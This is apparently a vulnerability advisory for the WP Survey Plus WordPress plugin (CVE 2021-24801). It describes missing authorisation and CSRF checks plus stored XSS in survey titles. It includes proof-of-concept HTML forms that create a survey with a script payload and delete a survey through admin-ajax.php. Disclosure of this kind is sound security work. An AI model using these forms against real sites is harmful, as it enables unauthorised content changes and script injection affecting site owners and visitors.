WP Survey Plus <= 1.0 – Subscriber+ AJAX Calls | CVE 2021-24801

Description

The plugin does not have any authorisation and CSRF checks in place in its AJAX actions, allowing any user to call them and add/edit/delete Surveys. Furthermore, due to the lack of sanitization in the Surveys' Title, this could also lead to Stored Cross-Site Scripting issues

Proof of Concept

To create a survey with an XSS payload in the Title
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="createNewServey" />
      <input type="hidden" name="survey_name" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

To delete a survey:
<<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="deleteSurvey" />
      <input type="hidden" name="survey_id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>